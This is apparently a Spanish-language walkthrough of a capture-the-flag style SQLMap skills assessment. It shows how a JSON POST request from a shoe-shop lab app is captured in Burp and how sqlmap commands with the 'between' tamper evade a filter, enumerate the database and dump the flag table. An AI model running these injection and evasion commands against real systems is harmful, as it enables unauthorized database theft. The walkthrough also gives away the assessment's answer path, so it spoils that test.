🧪 SQLMap Essentials – Skills Assessment
Este ejercicio evalúa si sabes detectar y explotar una SQL Injection realista usando SQLMap y técnicas de evasión básicas.
🎯 Objetivo del ejercicio
Encontrar el contenido de la tabla final_flag explotando una SQLi en una aplicación con protecciones básicas.
🌍 Información del objetivo
-
Host:
<IP>:<PUERTO> -
Tiempo limitado ⏱️
-
Protecciones activas (no es un entorno “ideal”)
Esto implica que:
-
SQLMap puede fallar con opciones por defecto
-
Será necesario ajustar parámetros
-
Hay que analizar el comportamiento de la app
🧠 Primeros pasos – Análisis del vector
La aplicación parece una tienda online (zapatos), por lo que es probable que haya:
-
Formularios
-
Carrito de compra
-
Peticiones POST
📸 Interfaz principal: 
Para facilitar la investigación:
-
Abrimos Burp Suite
-
Activamos FoxyProxy
burpsuite &> /dev/null & disown
Visitamos:
http://<IP>:<PUERTO>/shop.html
Añadimos un producto al carrito 🛒

📦 Captura de la petición vulnerable
Al añadir un producto, interceptamos la petición con Burp.
Observaciones clave:
-
Es una petición POST
-
El contenido es JSON
-
Ideal para usar
-ren SQLMap
👉 Copiamos la petición completa y la guardamos en un archivo:
req.txt
🛠️ Detección de SQL Injection
Ejecutamos SQLMap usando la petición guardada:
sqlmap -r req.txt --batch
📸 Resultado: 
SQLMap indica que el carácter > está filtrado y recomienda usar:
--tamper=between
Esto sugiere:
-
Filtros básicos
-
Posible WAF sencillo
🧬 Enumeración con evasión
📚 Enumerar bases de datos
Usamos el tamper recomendado:
sqlmap -r req.txt --dbs --batch --tamper=between
📸 Resultado: 
✅ Base de datos relevante encontrada:
production
🔍 Enumeración del entorno
sqlmap -r req.txt --banner --current-user --current-db --is-dba --batch --tamper=between
📄 Información obtenida
-
DBMS: MariaDB (MySQL fork)
-
Sistema operativo: Linux Debian 10
-
Servidor web: Apache 2.4.38
-
Base de datos actual:
production -
Usuario DBA: ❌ No
📸 Evidencia: 
No ser DBA implica que no podremos leer ni escribir archivos del sistema.
📂 Enumeración de tablas
Listamos las tablas de la base de datos production:
sqlmap -r req.txt --tables -D production --batch --tamper=between
📸 Resultado:

🎯 Tabla objetivo identificada:
final_flag
🏁 Extracción del flag (Dump)
Dumpeamos solo la tabla necesaria para minimizar ruido.
sqlmap -r req.txt --dump -T final_flag -D production --batch --tamper=between
📸 Resultado:

🎉 Conclusión
-
No todo es lanzar
--dump -
Burp + SQLMap es una combinación clave
-
Los tamper scripts son esenciales en entornos reales
-
Entender el flujo de la app marca la diferencia